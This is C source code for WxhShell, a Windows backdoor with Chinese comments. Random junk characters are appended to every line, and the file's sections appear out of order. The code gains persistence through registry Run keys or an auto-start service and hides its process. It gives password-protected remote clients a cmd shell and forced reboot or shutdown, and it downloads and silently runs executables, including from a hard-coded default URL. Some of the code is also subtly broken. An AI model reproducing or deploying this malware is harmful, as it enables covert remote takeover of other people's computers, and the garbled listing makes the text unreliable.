    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nXy>7H[0  
    else { Q>Qibr  
    closesocket(wsh); g%nl!dgS  
    ExitThread(0); h6~$/`&]b  
    } _n;;][]S  
    break; bQ'8SCe  
    } ]QVNn?PA8  
  // 获取shell U75Jp%bL  
  case 's': { ]bZ(HC?KZr  
    CmdShell(wsh); rHjq1-t  
    closesocket(wsh); l12{fpm  
    ExitThread(0); rV6/Tdy  
    break; gw36Ec<M  
  } >w+HHs/$wK  
  // 退出 wE]K~y!`  
  case 'x': { q1?&Ev^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s{0aBeq  
    CloseIt(wsh); 8NBT|N~N  
    break; X5LBEOG  
    } n_?tN\M  
  // 离开 3"N)xO-  
  case 'q': { \xv;sl$f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QnQOm ""  
    closesocket(wsh); I,yC D7l_  
    WSACleanup(); 3ZEB  
    exit(1); +N`ua  
    break; $+p?Y)h .  
        } LbEM^ D  
  } UT0){%2@  
  } ':{>a28=  
a.N{-2ptH  
  // 提示信息 FMA6_fju4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zk-.u}RBFG  
} w| `h[/,  
  } js iSg/  
%yBB?cp+_  
  return; ,#MCn  
} 1W7% 1FA  
ljTBvU  
// shell模块句柄 >zAUW[]C:I  
int CmdShell(SOCKET sock) 86]p#n_>Fv  
{ ,XDRO./+T  
STARTUPINFO si; Gmwf4>"  
ZeroMemory(&si,sizeof(si)); *g?Po+ef%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f+8wl!M+6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o1 M$.*  
PROCESS_INFORMATION ProcessInfo; n3A aZp[  
char cmdline[]="cmd"; (aOv#Vor]%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {9UEq0  
  return 0; ry9T U  
} >B]'fUt5a  
1`ayc|9BR  
// 自身启动模式 $9Hcdbdm  
int StartFromService(void) nRyU]=-X  
{ M5gWD==uP  
typedef struct -f*P nxg  
{ sMu] /'7  
  DWORD ExitStatus; O T.*pk+<)  
  DWORD PebBaseAddress; X}+>!%W!}  
  DWORD AffinityMask; ;)N>t\v  
  DWORD BasePriority; wF((  
  ULONG UniqueProcessId; EoK~S\dS  
  ULONG InheritedFromUniqueProcessId; '!/<P"5t  
}   PROCESS_BASIC_INFORMATION; hzkcP  
UQ{L{H   
PROCNTQSIP NtQueryInformationProcess; Z&;uh_EC  
*S2ypzwRZ,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Xb@Wh:yG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nBk)WX&[K  
uj :%#u  
  HANDLE             hProcess; t+9][Adf  
  PROCESS_BASIC_INFORMATION pbi; v`M3eh@$A  
dKdj`wB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d_IAs  
  if(NULL == hInst ) return 0; &mb{.=  
Y "/]|'p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ 4kc/a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #B4%|v;`E?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T}8Y6N<\m  
8F'x=lIO  
  if (!NtQueryInformationProcess) return 0; '&\kxNglJ  
h*-Pr8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z CvKDlL  
  if(!hProcess) return 0; zux{S; :?  
iyg*Xbmi~.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %}%Qc6.H  
D8$G`~hD  
  CloseHandle(hProcess); @nux9MX<9  
v%q0OX>9X"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <yd{tD$A*  
if(hProcess==NULL) return 0; 3\XU_Xs(]  
*s:(jDlv  
HMODULE hMod; 1fpQLaT  
char procName[255]; %44leINx  
unsigned long cbNeeded; UEguF &  
ljb7oA3cP4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [PDNwh0g5  
m6w].-D8  
  CloseHandle(hProcess); p>4-s, W  
dw*_(ys  
if(strstr(procName,"services")) return 1; // 以服务启动 XCBL}pNkR  
>Wv;R2|  
  return 0; // 注册表启动 A<??T[  
} ~^1{B\I  
7eAX*Kgt<_  
// 主模块 ev*k*0  
int StartWxhshell(LPSTR lpCmdLine) Ru>MFG  
{ z*a:L}$  
  SOCKET wsl; _no*k?o *  
BOOL val=TRUE; {0WHn.,2Y  
  int port=0; 0@%v1Oja  
  struct sockaddr_in door; *2,VyY  
T(U_  
  if(wscfg.ws_autoins) Install(); `~By)?cT_>  
/w}u3|L$  
port=atoi(lpCmdLine); ~5}* d  
De'_SD|=  
if(port<=0) port=wscfg.ws_port; L6|oyf  
ppVHLrUh  
  WSADATA data; ;EP:o%r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w|K'M?N14  
4bYK}o S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8ap%?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7_inJ$  
  door.sin_family = AF_INET; !WQ-=0cm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -#N.X_F  
  door.sin_port = htons(port); VgZsB$Ori  
U_I5fK =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H _zo1AW  
closesocket(wsl); k@k&}N0{  
return 1; :% ,:"  
} 6[ j.@[t  
t*1fLumXR  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 a!$z!.  
closesocket(wsl); x"~8*V'0  
return 1; qKr8)}h  
} ~d|A!S`  
  Wxhshell(wsl); m8d!< h  
  WSACleanup(); Bf~vA4  
hG12ZZD  
return 0; EVsC >rz  
f'EuY17w  
} 0dE@c./R i  
VJ]JjB j  
// 以NT服务方式启动 CVL3VT1j0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T[UN@^DP(  
{ -"' j7t:  
DWORD   status = 0; F%@aB<Nu  
  DWORD   specificError = 0xfffffff; BBwy,\o#  
,9zjFI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 128EPK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i:Y^{\Z?V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +M\`#i\g>  
  serviceStatus.dwWin32ExitCode     = 0; q_A!'sm@)  
  serviceStatus.dwServiceSpecificExitCode = 0; 3TeY%5iVt  
  serviceStatus.dwCheckPoint       = 0; vqDu(6!2  
  serviceStatus.dwWaitHint       = 0; su{poQ}K  
P3+5?.p.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4%>$-($  
  if (hServiceStatusHandle==0) return; s(/; U2"e  
^/I 7|u]  
status = GetLastError(); R;&AijS8  
  if (status!=NO_ERROR) 7&jTtKLj  
{ K* LlW@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yerg=,$_i  
    serviceStatus.dwCheckPoint       = 0; a|t$l=|DD  
    serviceStatus.dwWaitHint       = 0; XDOY`N^L  
    serviceStatus.dwWin32ExitCode     = status; 1 ySk;;3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'YmIKIw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g?goZPZB  
    return; cQy2"vtU  
  } zPn+ V7F  
4'/nax$Bx;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ls\WXCH  
  serviceStatus.dwCheckPoint       = 0; =.Pw`.  
  serviceStatus.dwWaitHint       = 0; S"NqM[W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I_} SB|  
} CkOz  
N +Yxz;Mg  
// 处理NT服务事件,比如:启动、停止 y" RF;KW>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $p#Bi-&  
{ AG`L64B  
switch(fdwControl) bnf'4PAt  
{ /?5 1D@  
case SERVICE_CONTROL_STOP: IA8f*]?  
  serviceStatus.dwWin32ExitCode = 0; U)fc*s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rr&h!YMb  
  serviceStatus.dwCheckPoint   = 0; JjtNP)We  
  serviceStatus.dwWaitHint     = 0; yVU^M?`#  
  { :}'=`wa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #A1%gIw<v2  
  } 9-&Ttbb4)0  
  return; sJL&:!}V>  
case SERVICE_CONTROL_PAUSE: ^oBtfN>4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EN<F# Y3E  
  break; Ns>- o  
case SERVICE_CONTROL_CONTINUE: +~m46eI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0L2F[TN  
  break; n{n52][J]  
case SERVICE_CONTROL_INTERROGATE: o4G?nvK-  
  break; CGW.I$u  
}; lA| 5E?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oK6tTK  
} ?GKb7Oj  
>)fi^  
// 标准应用程序主函数 KKj a/p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SoW9p^HJ  
{ [M]  
=upeRY@u5  
// 获取操作系统版本 u^@f&BIG]:  
OsIsNt=GetOsVer(); X9v.1s,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > kG GR  
'\l"   
  // 从命令行安装 "jeb%k  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qp)v?k ]  
Vz~{UHH6  
  // 下载执行文件 ?8npG]L)  
if(wscfg.ws_downexe) { tU}h~&M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @K  &GJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); %a>&5V  
} ZQ4p(6a   
%aG5F}S2~  
if(!OsIsNt) { 9vuyv*-}e  
// 如果时win9x,隐藏进程并且设置为注册表启动 g/ T   
HideProc(); %". HaI]  
StartWxhshell(lpCmdLine); [L3=x;U  
} hci6P>h<ia  
else ? &o2st  
  if(StartFromService()) N({MPO9  
  // 以服务方式启动 fx41,0;gZq  
  StartServiceCtrlDispatcher(DispatchTable); b z`+k,*  
else B nFwlw  
  // 普通方式启动 1{)5<!9!l  
  StartWxhshell(lpCmdLine); b6 cBg  
N]>=p.#j  
return 0; zGb|)A~,  
} F+YZE[h%  
f',Op1o  
\j@OZ   
1!xQ=DU"  
=========================================== 6dq(T_eG  
ne>pOK<vZ  
Nyku4r0  
(yH'{6g\  
)Kc<j!8-[  
$SlIr<'*"  
" %f&/E"M  
K0u|U`   
#include <stdio.h> t URu0`](  
#include <string.h>  :|>h7v  
#include <windows.h> G)EU_UE 9  
#include <winsock2.h> 8zZvht*  
#include <winsvc.h> 3@etRd;]Kr  
#include <urlmon.h> ep!Rf:  
H[6:_**?o  
#pragma comment (lib, "Ws2_32.lib") ]~Rho_mq#  
#pragma comment (lib, "urlmon.lib") JrJo|0Q  
k KaE=H-x  
#define MAX_USER   100 // 最大客户端连接数 Vh'P&W?[  
#define BUF_SOCK   200 // sock buffer F%@A6'c  
#define KEY_BUFF   255 // 输入 buffer %|s; C  
}n]Ng]KM`  
#define REBOOT     0   // 重启 ;,hwZZA  
#define SHUTDOWN   1   // 关机 iw3FA4{(  
>nJ\BPx  
#define DEF_PORT   5000 // 监听端口 b)6D_Az7c  
%R}qg6dL  
#define REG_LEN     16   // 注册表键长度 T:27r8"Rh  
#define SVC_LEN     80   // NT服务名长度 OV1_|##LC  
0z`a1 %U  
// 从dll定义API 0!4Ts3qn1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LK{*sHi$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I:=S 0&%)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :tz#v`3o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *z5.vtfu!  
.<->C?#  
// wxhshell配置信息 4X!/hI=jq  
struct WSCFG { 2Z+Wu3#  
  int ws_port;         // 监听端口 xs{3pkTYD  
  char ws_passstr[REG_LEN]; // 口令 ]N~2 .h  
  int ws_autoins;       // 安装标记, 1=yes 0=no )1]ZtU  
  char ws_regname[REG_LEN]; // 注册表键名 2i)^ !c  
  char ws_svcname[REG_LEN]; // 服务名 `LrHKb aP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bBiE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JgxtlYjl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Z?9{J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aZH:#lUlj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "Bh}}!13  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !44/sr'  
w^\52  
}; T`9lV2x*P  
.N,bIQnj  
// default Wxhshell configuration 57'*w]4f  
struct WSCFG wscfg={DEF_PORT, BGvre'67  
    "xuhuanlingzhe", FI)17i$  
    1, [@&m4 7  
    "Wxhshell", ` )/vq-9  
    "Wxhshell", pd:WEI ,  
            "WxhShell Service", ts ,ZvY]  
    "Wrsky Windows CmdShell Service", V><,UI=,n  
    "Please Input Your Password: ", RFi S@.7  
  1, >"??!|XG^  
  "http://www.wrsky.com/wxhshell.exe", e6`Jbu+J<f  
  "Wxhshell.exe" jte.Xy~g  
    }; 0.\/\V:H6  
1jx:;j  
// 消息定义模块 S.mG?zbw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {AhthR%(1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -z ID x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A` N,  
char *msg_ws_ext="\n\rExit."; TEP,Dq  
char *msg_ws_end="\n\rQuit."; TtJH7  
char *msg_ws_boot="\n\rReboot..."; 9)h"-H;5:  
char *msg_ws_poff="\n\rShutdown..."; )cX*I gO  
char *msg_ws_down="\n\rSave to "; 9>= ;FY  
9"N~yKa`"K  
char *msg_ws_err="\n\rErr!"; B~'vCuE  
char *msg_ws_ok="\n\rOK!"; Q3XpHnufu+  
P9/q|>F  
char ExeFile[MAX_PATH]; `}D,5^9]  
int nUser = 0; kI,yU}<Fq  
HANDLE handles[MAX_USER]; g!FuY/%+  
int OsIsNt; Giid~e33  
S){)Z  
SERVICE_STATUS       serviceStatus; rF3wx.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !eGC6o}f  
E:,/!9n  
// 函数声明 #QS`_TlKk  
int Install(void); Q1T$k$n  
int Uninstall(void); IDad9 Bx  
int DownloadFile(char *sURL, SOCKET wsh); kVuUjP6(c  
int Boot(int flag); fJ=0HNmX  
void HideProc(void); sSr&:BOsi  
int GetOsVer(void); $| zX|  
int Wxhshell(SOCKET wsl); d8DV[{^  
void TalkWithClient(void *cs); `vU%*g&R  
int CmdShell(SOCKET sock); V)3KS-  
int StartFromService(void); ^\hG"5#  
int StartWxhshell(LPSTR lpCmdLine); \q>bs|2  
F6LH $C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -zCH**y%1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w0[6t#$F  
ZFA`s qT  
// 数据结构和表定义 t0( A4E  
SERVICE_TABLE_ENTRY DispatchTable[] = ZAW^/bo<  
{ 9# 23FK  
{wscfg.ws_svcname, NTServiceMain}, Yc`o5Q\>  
{NULL, NULL} dhC$W!N7!  
}; 0XOp3  
-$t{>gO#Y  
// 自我安装 ^gN6/>]qrY  
int Install(void) @T@< _ ?)  
{ u^^vB\"^  
  char svExeFile[MAX_PATH]; JOj;^ h  
  HKEY key; 0B[="rTS7#  
  strcpy(svExeFile,ExeFile); v|Pv 03%?7  
9d>-MX'  
// 如果是win9x系统,修改注册表设为自启动 ]N/=Dd+|  
if(!OsIsNt) { -5)H<dAQZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %{7|1>8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >d(~# Z`  
  RegCloseKey(key); hM_lsc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0$(WlP |  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kF3k7,.8&  
  RegCloseKey(key); d .[8c=$  
  return 0; #?RU;1)Cw  
    } 2\R'@L*  
  } _1!7V3|^  
} xn?a. 3b'  
else { bc*X/).  
<NHH^M\N  
// 如果是NT以上系统,安装为系统服务 R$EW4]j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2d>z1%'  
if (schSCManager!=0) H(H<z,$}T  
{ Oylf<&knF\  
  SC_HANDLE schService = CreateService 0!D4pvlt  
  ( 3_C|z,\:  
  schSCManager, pXtl 6K%  
  wscfg.ws_svcname, ^Xz@`_I  
  wscfg.ws_svcdisp, ?#Ge.D~u  
  SERVICE_ALL_ACCESS,  50"pbzW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dSLU>E3g  
  SERVICE_AUTO_START, ;Y)w@bNt@  
  SERVICE_ERROR_NORMAL, bAdn &   
  svExeFile, ov|d^)'  
  NULL, u :}%xD6  
  NULL, Y`KqEjsC*  
  NULL, LmRy1T,act  
  NULL, Dxtp2wu%t  
  NULL @MoKWfc  
  ); B[qzUD*P_n  
  if (schService!=0) Ih@61>X.o*  
  { !d'GE`w T  
  CloseServiceHandle(schService); M|VyV (f  
  CloseServiceHandle(schSCManager); 2Zm0qJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 87=&^.~`  
  strcat(svExeFile,wscfg.ws_svcname); 1}"++Z73P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <:_wbVn-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1kz\IQ{  
  RegCloseKey(key); ] ;KJ6  
  return 0; i)\ L:qF5  
    } m.hkbet/R  
  } -6Z\qxKqZ  
  CloseServiceHandle(schSCManager); b}\N;D.{  
} evenq$ H  
} %]\kgRr  
L]yS[UN$  
return 1; {GvJZ!,RCg  
} SfA\}@3  
\ S_Ou   
// 自我卸载 x;w6na  
int Uninstall(void) CJtcn_.F  
{ .b_)%jd x  
  HKEY key; y@1+I ~@  
#HYr0Tw6`  
if(!OsIsNt) { 2{D{sa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85>05 ?  
  RegDeleteValue(key,wscfg.ws_regname); .GbX]?dN  
  RegCloseKey(key); GXcJ< v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eJ,/:=QQ{  
  RegDeleteValue(key,wscfg.ws_regname); @efh{  
  RegCloseKey(key); "_P;2N6  
  return 0; 0*VWzH   
  } q$p%ZefZ  
} +\x,HsUc"  
} [2>yYr s_=  
else { U] ~$g}!)  
3s5z UT;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RPwbTAl}  
if (schSCManager!=0) C,wL0Yj[  
{ }q`ts=dlGt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +00b)TF  
  if (schService!=0) UMv.{iEj  
  { dA#Q}.*r  
  if(DeleteService(schService)!=0) { Q_1:tW &  
  CloseServiceHandle(schService); s:?SF.  
  CloseServiceHandle(schSCManager); +ndaLhj'  
  return 0; Y)1PB+  
  } N1Ng^aY0  
  CloseServiceHandle(schService); ?U%QG5/>  
  } v>:Ur}u!D  
  CloseServiceHandle(schSCManager); #r$cyV!k  
} ks&*O!h  
} 2$9odD<r  
Ac96 [  
return 1; )(A]Ln4  
} q6@Lp^f  
tI]Q%S,  
// 从指定url下载文件 RW|`nL  
int DownloadFile(char *sURL, SOCKET wsh) 9"NF/)_  
{ yZ @"\Z!  
  HRESULT hr; -O1>|y2rU  
char seps[]= "/"; au N6prGe  
char *token; ,bXe<L)  
char *file; }bs+-K  
char myURL[MAX_PATH]; YA''2Ii  
char myFILE[MAX_PATH]; kd>hhiz|  
j1^I+j)  
strcpy(myURL,sURL); 1!ii;s^e  
  token=strtok(myURL,seps); R"4Vtww  
  while(token!=NULL) >i_ 2OV  
  { j@=%_^:i  
    file=token; R}'bP  
  token=strtok(NULL,seps);  R(!s  
  } @V(*65b2  
B+Rm>^CBm  
GetCurrentDirectory(MAX_PATH,myFILE); ^tqzq0  
strcat(myFILE, "\\"); @u.58H& }R  
strcat(myFILE, file); WeJl4wF  
  send(wsh,myFILE,strlen(myFILE),0); T m,b,hi$  
send(wsh,"...",3,0); 2- &k^Gl!:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nx@=>E+a  
  if(hr==S_OK) g~Z vA(`  
return 0; =w;F<M|Y  
else :Uz|3gq  
return 1; \O}E7 -  
J\/cCW-rF  
} w&X<5'GM  
ccB&O _  
// 系统电源模块 pSoiH<33  
int Boot(int flag) +GG9^:<yr  
{ [6pD  
  HANDLE hToken; pN!}UqfI-  
  TOKEN_PRIVILEGES tkp; 'ZT^PV \  
1Y/s%L  
  if(OsIsNt) { ATJWO 1CtB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XO`0>^g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dpJ_r>NI  
    tkp.PrivilegeCount = 1; m/Oh\KlIl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 kn|^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (gEBOol  
if(flag==REBOOT) { u_hD}V^x4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b+,' ;bW  
  return 0; Mxe}B'  
} 5G::wuxk  
else { ! _f9NK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YT8vP~  
  return 0; 5}:-h>  
} ?u-|>N>  
  } PbW(%7o(t  
  else { =V-A@_^!c  
if(flag==REBOOT) { o%v0h~tn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uH/J]zKR  
  return 0; Z&#('Z  
} ,3?Q(=j  
else { S\4tzz @  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B&\IGWG(  
  return 0; FR$:"  
} OPwtV9%  
} .}^g!jm~h  
ao%NK<Lt  
return 1; &wi e]  
} Uhe=h&e2k@  
JX -' mV`  
// win9x进程隐藏模块 4y)P>c  
void HideProc(void) | 1E|hh@k  
{ |s'Po^Sy  
&atuK*W>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _  <WJ7  
  if ( hKernel != NULL ) LwrUQ)  
  { cFaaLUZk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jzj1w}?H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M1 :uJkO.  
    FreeLibrary(hKernel); b8~Bazk  
  } C3*gn}[  
\wo?47+=  
return; >[MX:Yh  
} `)` n(B  
0C1pt5K  
// 获取操作系统版本 "|Xk2U  
int GetOsVer(void) Gnf~u[T6  
{ O?)3VT*  
  OSVERSIONINFO winfo; *194{ ep  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jNTjSX  
  GetVersionEx(&winfo); YwteZSbp6M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iEd\6EZ  
  return 1; 1HXjN~XF  
  else DAS/43\  
  return 0; p=;=w_^y  
} aIJt0;  
~5_Ad\n9  
// 客户端句柄模块 pv*,gSS  
int Wxhshell(SOCKET wsl) Y'yH;M z  
{ (}a8"]Z  
  SOCKET wsh; 9bP^`\K[N  
  struct sockaddr_in client; q-.,nMUF  
  DWORD myID; SNfr"2c'h~  
|k+8<\  
  while(nUser<MAX_USER) ?,p;O  
{ +,2:g}5  
  int nSize=sizeof(client); plUZ"Tr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RM K"o?  
  if(wsh==INVALID_SOCKET) return 1; eb.O#Y  
3x5JFM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [baiH|5>  
if(handles[nUser]==0) !+1<E*NQ S  
  closesocket(wsh); =o Xsb  
else ZNf6;%oGG  
  nUser++; {)"iiJ  
  } '>&^zgr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } ~h3c|  
o}W%I/s  
  return 0;  `dFq:8v  
} E5)b  
[pl'|B  
// 关闭 socket eCN })An  
void CloseIt(SOCKET wsh) =+ytTQc*ot  
{ f47Od-\-  
closesocket(wsh); |K6REkzr  
nUser--; |<#{"'/=  
ExitThread(0); 2Or'c`|  
} ko Z  
,RJtm%w  
// 客户端请求句柄 /a^1_q-bX  
void TalkWithClient(void *cs) gXYI\.  
{ T.@aep\"  
WX=Jl<  
  SOCKET wsh=(SOCKET)cs; '$|[R98  
  char pwd[SVC_LEN]; *+-}P|S:  
  char cmd[KEY_BUFF]; &{>cZh}\  
char chr[1]; ~p1j`r;  
int i,j; ]%|GmtqZs,  
#bMuvaP~  
  while (nUser < MAX_USER) { |UK}  
7[I}*3Q'  
if(wscfg.ws_passstr) { 4kG,*3 &2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S/^"@?z,vE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >H'4{|  
  //ZeroMemory(pwd,KEY_BUFF); {7$c8i  
      i=0; $UgA0]q n  
  while(i<SVC_LEN) { R#2t)y  
MOsl_^c  
  // 设置超时 [21 =5S  
  fd_set FdRead; ~MS\  
  struct timeval TimeOut; FO!]P   
  FD_ZERO(&FdRead); U'R)x";=  
  FD_SET(wsh,&FdRead); Yj)#k)x  
  TimeOut.tv_sec=8; 6,d@p  
  TimeOut.tv_usec=0; 2Tfz=7h$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *$p2*%7Ne  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y$@ZN~8  
"i U}]e0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V\u>"3BQw  
  pwd=chr[0]; MO&}r7qq  
  if(chr[0]==0xd || chr[0]==0xa) { hv8P4"i v  
  pwd=0; VG,u7A*Z#  
  break; zoOaVV&1  
  } \<y`!"c  
  i++; Fe]B&n  
    } x*?x=^I{  
Rn{iaM2Y<  
  // 如果是非法用户,关闭 socket : y5<go8e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kBYNf =  
} Hj:r[/  
oN{Z+T :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L1i eaKw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lmfi  
I3,= 0z  
while(1) { @r#v[I  
5D_fXfx_|  
  ZeroMemory(cmd,KEY_BUFF); ;\lW5ZX  
et,f_fd7v  
      // 自动支持客户端 telnet标准   sYjpU  
  j=0; ]T;EdK-  
  while(j<KEY_BUFF) { {) Q@c)'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R,F[XI+=N  
  cmd[j]=chr[0]; q>mE< (-M  
  if(chr[0]==0xa || chr[0]==0xd) { 4d8B`Fa9  
  cmd[j]=0; t*>R`,j  
  break; enp)-nS0  
  } 7 qj9&bEy  
  j++; t: #6sF  
    } HRiL.DS  
<FWF<r3F  
  // 下载文件 7RUofcax  
  if(strstr(cmd,"http://")) { ZJwrLV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JcbwDlUb  
  if(DownloadFile(cmd,wsh)) -TM 0]{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eo#u#IY  
  else Q(<)KZIK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \RvvHty-V  
  } jFA{+Yr1  
  else { 7N:Y?Hi\  
po$ /7  
    switch(cmd[0]) { O [i#9)  
  xER\ZpA :,  
